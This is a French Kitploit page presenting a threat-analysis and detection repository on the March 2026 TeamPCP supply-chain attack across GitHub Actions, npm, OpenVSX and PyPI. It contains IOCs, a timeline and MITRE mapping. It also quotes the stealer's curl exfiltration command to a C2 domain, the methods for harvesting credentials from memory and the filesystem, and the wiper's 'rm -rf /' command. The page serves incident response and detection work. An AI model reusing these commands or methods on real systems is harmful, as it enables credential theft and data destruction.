Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
teampcp-supply-chain-attack — CVE-2026-33634 (CVSS 9.4) — L'attaque de la chaîne d'approvisionnement CI/CD la plus marquante de 2026 à ce jour. | Kitploit
Outils/GitHubGitHub/ugurrates/teampcp-supply-chain-attack
Sécurité des ConteneursAnalyse de MalwareSécurité CloudRenseignement sur les MenacesSécurité de la Chaîne LogistiqueApprentissage et ÉducationRéponse aux IncidentsRessources Organisées

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHub
ugurrates/teampcp-supply-chain-attack

teampcp-supply-chain-attack

CVE-2026-33634 (CVSS 9.4) — L'attaque de la chaîne d'approvisionnement CI/CD la plus marquante de 2026 à ce jour.

Voir le dépôt
1134il y a 1 moisPas encore vérifié

Attaque de la chaîne d'approvisionnement TeamPCP : analyse technique et guide de détection

CVE-2026-33634 (CVSS 9.4) — L'attaque de chaîne d'approvisionnement CI/CD la plus impactante de 2026 à ce jour.

Entre le 19 et le 25 mars 2026, l'acteur de la menace TeamPCP (également suivi sous les noms DeadCatx3, PCPcat, ShellForce, CanisterWorm) a exécuté une compromission en cascade de la chaîne d'approvisionnement à travers cinq écosystèmes : GitHub Actions, Docker Hub, OpenVSX, npm et PyPI. Partant d'un seul PAT GitHub incomplètement révoqué, la campagne s'est propagée à deux grands éditeurs open source de sécurité (Aqua Security et Checkmarx), quatre dépôts GitHub Actions, deux extensions VS Code, des registres de conteneurs et plus de 66 paquets npm.

Ce dépôt fournit une analyse technique complète, des listes d'IOC organisées (testées contre les faux positifs) et des requêtes de détection prêtes à déployer dans Microsoft Defender XDR.


Table des matières

  • Attack Timeline
  • Kill Chain Breakdown
  • Compromised Artifacts
  • Credential Stealer Mechanics
  • CanisterWorm — npm Propagation
  • Iran-Targeted Wiper Component
  • Detection & Hunting
  • IOC List
  • FP Filtering Notes
  • MITRE ATT&CK Mapping
  • References

Chronologie de l'attaque


Détail de la kill chain

Phase 1 — Accès initial

Cause racine : rotation incomplète des identifiants après la brèche du 28 février. Le PAT du compte de service aqua-bot n'a pas été révoqué, ou l'attaquant a observé le nouveau jeton pendant la rotation.

TeamPCP a utilisé cet accès conservé pour effectuer un force-push de tags de version vers des commits imposteurs malveillants. Chaque commit forgé reprenait les métadonnées de l'original (auteur, horodatage, message) tout en remplaçant le script d'entrée par la charge utile du voleur. La page de release de GitHub n'affichait aucun changement visible — même le badge « Immutable » s'affichait normalement.

Phase 2 — Exécution de la charge utile

Le voleur — un entrypoint.sh de 204 lignes s'identifiant comme « TeamPCP Cloud stealer » — exécute une attaque en trois étapes :

Étape 1 : Récupération depuis la mémoire

root@kitploit:~
Reads /proc/<pid>/mem from Runner.Worker processes
Searches for pattern: {"value":"<secret>","isSecret":true}
Extracts GitHub PATs, cloud credentials, API keys from runner memory

Étape 2 : Balayage des identifiants sur le système de fichiers

Scanne plus de 50 chemins sensibles, notamment :

  • Clés SSH (~/.ssh/*)
  • Identifiants AWS/GCP/Azure
  • Jetons et configurations Kubernetes
  • Identifiants de registre Docker
  • Fichiers d'état Terraform
  • Portefeuilles crypto (Solana, Bitcoin, Ethereum, Cardano)
  • Jetons npm (~/.npmrc)
  • Historiques de shell
  • Fichiers .env

Étape 3 : Exfiltration chiffrée

  • Regroupe toutes les données récoltées dans tpcp.tar.gz
  • Chiffre avec AES-256-CBC (clé de session aléatoire) + RSA-4096/RSA-OAEP (clé publique de l'attaquant)
  • Exfiltre via curl POST vers des domaines typosquat spécifiques aux fournisseurs
  • Repli : crée un dépôt tpcp-docs ou docs-tpcp dans le compte GitHub de la victime en utilisant un GITHUB_TOKEN volé

Phase 3 — Persistance

Sur les systèmes Linux non-CI, le malware :

  1. Crée le répertoire caché ~/.config/sysmon/
  2. Dépose une backdoor Python (sysmon.py)
  3. Installe un service utilisateur systemd qui interroge le C2 toutes les 50 minutes
  4. Kill switch : si la réponse du C2 contient « youtube », la backdoor saute l'exécution

Phase 4 — Mouvement latéral (vague Checkmarx)

Les identifiants volés lors de la vague Trivy ont permis de compromettre l'écosystème de Checkmarx. Chaque nouvelle vague utilisait un domaine C2 typosquat différent pour contourner les listes de blocage de la vague précédente :

VagueDomaine C2Typosquat de
Trivyscan.aquasecurtiy[.]orgaquasecurity.org

Artefacts compromis

GitHub Actions

Extensions OpenVSX (le marketplace VS Code n'est PAS concerné)

ExtensionVersion malveillanteVersion sûre
checkmarx.ast-results2.53.0>= 2.56.0
checkmarx.cx-dev-assist1.7.0>= 1.10.0

Les deux extensions ont été publiées à 12 secondes d'intervalle à 12:53 UTC le 23 mars via le compte ast-phoenix. À l'activation, environmentAuthChecker.js vérifie la présence d'identifiants de fournisseur cloud, puis récupère un voleur de deuxième étape depuis checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz.

Images de conteneurs

ImageTags malveillants
docker.io/aquasec/trivy0.69.4, 0.69.5, 0.69.6
ghcr.io/aquasecurity/trivy0.69.4, 0.69.5, 0.69.6
public.ecr.aws/aquasecurity/trivy0.69.4, 0.69.5, 0.69.6

PyPI

PaquetVersionsFichier backdooré
litellm1.82.7, 1.82.8litellm/proxy/proxy_server.py

Charge utile base64 à triple imbrication avec un arsenal de mouvement latéral K8s. Persistance via sysmon.service qui interroge checkmarx.zone/raw.


Mécaniques du voleur d'identifiants

Le schéma d'exfiltration est identique dans toutes les vagues :

root@kitploit:~
curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
  -H "Content-Type: application/octet-stream" \
  -H "X-Filename: tpcp.tar.gz" \
  --data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz

La stratégie de domaine typosquat est délibérée : un analyste qui examine les journaux CI/CD voit un trafic curl vers ce qui ressemble au domaine du fournisseur de l'action elle-même. Sans comparaison attentive, scan.aquasecurtiy.org passe pour aquasecurity.org lors d'un examen rapide des journaux.

Seul l'attaquant peut déchiffrer les données volées — la clé de session AES est chiffrée RSA-OAEP avec sa clé publique.


CanisterWorm — propagation via npm

Dans les 24 heures suivant la compromission de Trivy, des jetons npm volés ont permis la propagation d'un ver autonome à travers plus de 66 paquets (141 artefacts malveillants).

Ce qui rend CanisterWorm remarquable :

  • Premier malware npm documenté utilisant un canister blockchain ICP (Internet Computer Protocol) comme C2
  • Le canister situé à tdtqy-oyaaa-aaaae-af2dq-cai est un contrat intelligent décentralisé — aucun point de démantèlement unique
  • Expose 3 méthodes : get_latest_link, http_request, update_link
  • L'attaquant peut faire pivoter les charges utiles sur toutes les machines infectées sans republier aucun paquet npm
  • Kill switch : si le canister renvoie une URL contenant youtube.com, la backdoor dort
  • Persistance : service utilisateur systemd se faisant passer pour pgmon (supervision PostgreSQL)
  • Intervalle d'interrogation : toutes les 50 minutes
  • Binaire déposé dans /tmp/pglog, état suivi dans /tmp/.pg_state

Scopes compromis connus : @emilgroup/*, @teale.io/* (variante auto-propagée dans @teale.io/eslint-config v1.8.11, v1.8.12)


Composant wiper ciblant l'Iran

Une variante destructive cible spécifiquement les systèmes iraniens :

  1. Kubernetes + Iran : déploie des DaemonSets privilégiés sur chaque nœud (y compris le plan de contrôle), efface les données et force le redémarrage via un conteneur nommé kamikaze
  2. Kubernetes + hors Iran : installe la backdoor CanisterWorm comme service systemd
  3. Non-K8s + Iran : exécute rm -rf / --no-preserve-root avec sudo
  4. Non-K8s + hors Iran : aucune action

La détection s'effectue via des vérifications du fuseau horaire et des paramètres régionaux du système.


Détection et hunting

Microsoft Defender XDR — Règle de détection personnalisée

Nom de la règle : TeamPCP Supply Chain C2 and Malware IOC Match
Gravité : Élevée
Catégorie : CommandAndControl
Fréquence : Toutes les heures

Voir detection/defender_xdr_query.kql pour la requête KQL complète.

La requête couvre :

  • 7 empreintes SHA256 de fichiers (variantes du voleur + CanisterWorm)
  • 2 adresses IP C2
  • 4 domaines C2 (typosquats + canister ICP)
  • 4 URL C2 spécifiques
  • Vérifications de résolution DNS

Import des indicateurs Defender TI

Un CSV prêt à importer est fourni dans iocs/FINAL_TeamPCP_IOC_25Mar2026.csv. Ce fichier a été testé contre les faux positifs dans un environnement d'entreprise en production.

Autres plateformes

PlateformeDétection
Palo Alto Cortex XDRRègle ioc.linux.shaihulud.2 — accès aux identifiants sur les runners GitHub Actions
Sysdig/FalcoContact EC2 Instance Metadata Service From Container, ,

Liste des IOC

Empreintes de fichiers (SHA256)

IOC réseau

Chemins d'URL C2

URLFonction
checkmarx[.]zone/static/checkmarx-util-1.0.4.tgzTéléchargement de la charge utile de deuxième étape

Artefacts de persistance

Dépôts GitHub d'exfiltration (repli)

NomVague
tpcp-docsTrivy
docs-tpcpCheckmarx

Notes sur le filtrage des faux positifs

Les requêtes de détection et le CSV d'IOC de ce dépôt ont été testés dans un environnement de production exécutant :

  • Ansible AWX/Tower avec les collections community.general et kubernetes.core
  • Claude Code et GitHub Copilot sur des postes de développement macOS
  • Agent FortiMonitor (interrogation IMDS)
  • Oracle AHF sur des instances OCI (interrogation IMDS)
  • Divers toolchains de développement Python/Node.js

Les IOC suivants ont été retirés en raison de faux positifs confirmés :


Correspondance MITRE ATT&CK


Références


Licence

MIT — Utilisez, partagez, adaptez librement. Mention de la source appréciée.


Auteur : Ugur Can Ates — Responsable d'équipe SOC et ingénieur sécurité senior
Dernière mise à jour : 25 mars 2026

Télécharger l’outil
Date (UTC)Événement
20 févr. 2026Compte hackerbot-claw créé ; commence à scanner les dépôts à la recherche de workflows pull_request_target exploitables
28 févr. 2026Première compromission de Trivy via une PWN request ; identifiants exfiltrés
1 mars 2026Aqua Security tente de contenir — rotation des identifiants incomplète
19 mars, 17:43Frappe principale : TeamPCP effectue un force-push de 75/76 tags dans aquasecurity/trivy-action + les 7 tags dans setup-trivy via le compte de service aqua-bot compromis
19 mars, 18:22Version backdoorée de Trivy v0.69.4 publiée sur GitHub Releases, Docker Hub, GHCR, ECR
20 mars, 05:40La fenêtre de compromission de Trivy-action se referme (~12 heures)
20 mars, 20:45CanisterWorm détecté en train de se propager via npm — 47+ paquets compromis
22 mars, 20:31TeamPCP défigure les 44 dépôts de l'organisation GitHub aquasec-com en une rafale scriptée de 2 minutes
22 marsImages Docker Hub 0.69.5 et 0.69.6 poussées avec la même charge utile de voleur
23 mars, 02:53La vague Checkmarx commence : ast-results v2.53.0 et cx-dev-assist v1.7.0 malveillants publiés sur OpenVSX via le compte ast-phoenix
23 mars, 12:58Les 35 tags de Checkmarx/kics-github-action ont été force-pushés via le compte cx-plugins-releases compromis
23 mars, 15:41Checkmarx signale le problème OpenVSX résolu
23 mars, 16:50L'action GitHub KICS retirée après un signalement d'utilisateur
23 mars, 22:25Sysdig signale que Checkmarx/ast-github-action v2.3.28 est également compromis
24 mars, 08:30Vague LiteLLM : litellm v1.82.7 et v1.82.8 trojanisés publiés sur PyPI à l'aide d'identifiants volés
24 mars, 11:25PyPI met en quarantaine les versions malveillantes de LiteLLM
Checkmarx/KICScheckmarx[.]zonecheckmarx.com
LiteLLMmodels.litellm[.]cloudlitellm.ai
DépôtTags compromisFenêtre d'exposition (UTC)Point d'entrée
aquasecurity/trivy-action75 sur 76 (sûr : 0.35.0)19 mars 17:43 – 20 mars 05:40entrypoint.sh
aquasecurity/setup-trivyLes 7 tags19 mars 17:43 – 21:44action.yaml
Checkmarx/kics-github-actionLes 35 tags23 mars 12:58 – 16:50setup.sh
Checkmarx/ast-github-actionv2.3.28 (probablement tous)23 mars ~22:25+setup.sh
Curl Exfiltrating File
Exfiltration of AWS IMDS Credentials Using LOTL Binary
EmpreinteDescriptionSource
18a24f83e807479438dcab7a1804c51a00dafc1d526698a66e0640d1e5dd671aTrivy entrypoint.sh malveillantPhoenix Security
c37c0ae9641d2e5329fcdee847a756bf1140fdb7f0b7c78a40fdc39055e7d926CanisterWorm vague 4 — forme finaleAikido Security
0c0d206d5e68c0cf64d57ffa8bc5b1dad54f2dda52f24e96e02e237498cb9c3aCanisterWorm vague 3 — test auto-propagéAikido Security
61ff00a81b19624adaad425b9129ba2f312f4ab76fb5ddc2c628a5037d31a4baCanisterWorm vague 2 — backdoor ICP arméeAikido Security
f398f06eefcd3558c38820a397e3193856e4e6e7c67f81ecc8e533275284b152CanisterWorm vague 1 — deploy.jsAikido Security
7df6cef7ab9aae2ea08f2f872f6456b5d51d896ddda907a238cd6668ccdc4bb7CanisterWorm vague 2 — deploy.jsAikido Security
5e2ba7c4c53fa6e0cef58011acdd50682cf83fb7b989712d2fcf1b5173bad956CanisterWorm vague 3+ — deploy.js minifiéAikido Security
IndicateurTypeObjectif
83.142.209.11IPServeur C2 (checkmarx.zone)
45.148.10.212IPServeur C2 (scan.aquasecurtiy.org)
checkmarx[.]zoneDomaineC2 — vague Checkmarx/KICS/LiteLLM
scan.aquasecurtiy[.]orgDomaineC2 — vague Trivy
models.litellm[.]cloudDomaineC2 — vague LiteLLM PyPI
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]ioDomaineC2 dead-drop canister ICP
checkmarx[.]zone/vsxPoint de terminaison d'exfiltration
checkmarx[.]zone/rawInterrogation de persistance (50 min)
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io/C2 canister ICP
CheminFonction
~/.config/sysmon/Répertoire de la backdoor
~/.config/sysmon.pyBackdoor Python
~/.config/systemd/user/sysmon.servicePersistance systemd
~/.config/systemd/user/pgmon.servicePersistance CanisterWorm (parodie PostgreSQL)
/tmp/pglogBinaire téléchargé
/tmp/.pg_stateÉtat d'interrogation du C2
IOCSource du FP
setup.sh (nom de fichier)Collections Ansible, cache de plugins Claude Code, scripts Bitnami
service.py (nom de fichier)module_utils Ansible, protobuf, boto3, FreeIPA, noyau K8s
deploy.js (nom de fichier)Fichier npm/node standard
169.254.169.254 (IP IMDS)Agent FortiMonitor, Oracle AHF — supervision légitime
icp0.io (domaine parent)Trop large, capture le trafic ICP légitime
hooks.slack.com (ligne de commande)Intégrations Slack légitimes
discord.com/api/webhooks (ligne de commande)Intégrations Discord légitimes
TechniqueIDContexte
Compromission de la chaîne d'approvisionnement : dépendances logiciellesT1195.002Empoisonnement de tags GitHub Actions, OpenVSX, npm, PyPI
Identifiants non sécurisés : API de métadonnées d'instance cloudT1552.005Vol d'IMDS AWS depuis les runners CI
Identifiants provenant de gestionnaires de mots de passeT1555Balayage des identifiants sur le système de fichiers (50+ chemins)
Extraction d'identifiants de l'OST1003Récupération depuis /proc/mem de Runner.Worker
Exfiltration via le canal C2T1041tpcp.tar.gz chiffré vers des domaines typosquat
Service webT1102C2 dead-drop canister ICP
Service systemdT1543.002Persistance pgmon.service, sysmon.service
Transfert d'outil entrantT1105Téléchargement de checkmarx-util-1.0.4.tgz
Acquisition d'infrastructure : domainesT1583.001Domaines typosquat par vague
SourceLien
Wiz — Compromission KICShttps://www.wiz.io/blog/teampcp-attack-kics-github-action
Wiz — Compromission Trivyhttps://www.wiz.io/blog/trivy-compromised-teampcp-supply-chain-attack
Sysdig TRT — Expansion Checkmarxhttps://www.sysdig.com/blog/teampcp-expands-supply-chain-compromise-spreads-from-trivy-to-checkmarx-github-actions
Checkmarx — Officielhttps://checkmarx.com/blog/checkmarx-security-update/
Phoenix Security — Chronologie complètehttps://phoenix.security/teampcp-supply-chain-attack-trivy-checkmarx-github-actions-npm-canisterworm/
Aikido Security — CanisterWormhttps://www.aikido.dev/blog/teampcp-deploys-worm-npm-trivy-compromise
Endor Labs — LiteLLMhttps://www.endorlabs.com/learn/teampcp-isnt-done
Mend — CanisterWormhttps://www.mend.io/blog/canisterworm-the-self-spreading-npm-attack-that-uses-a-decentralized-server-to-stay-alive/
Socket — Compromission npmhttps://socket.dev/blog/canisterworm-npm-publisher-compromise-deploys-backdoor-across-29-packages
StepSecurity — Analyse Trivyhttps://www.stepsecurity.io/blog/trivy-compromised-a-second-time---malicious-v0-69-4-release
JFrog — Analyse approfondiehttps://research.jfrog.com/post/canister-worm/
Rami McCarthy — Chronologie des IOChttps://ramimac.me/trivy-teampcp/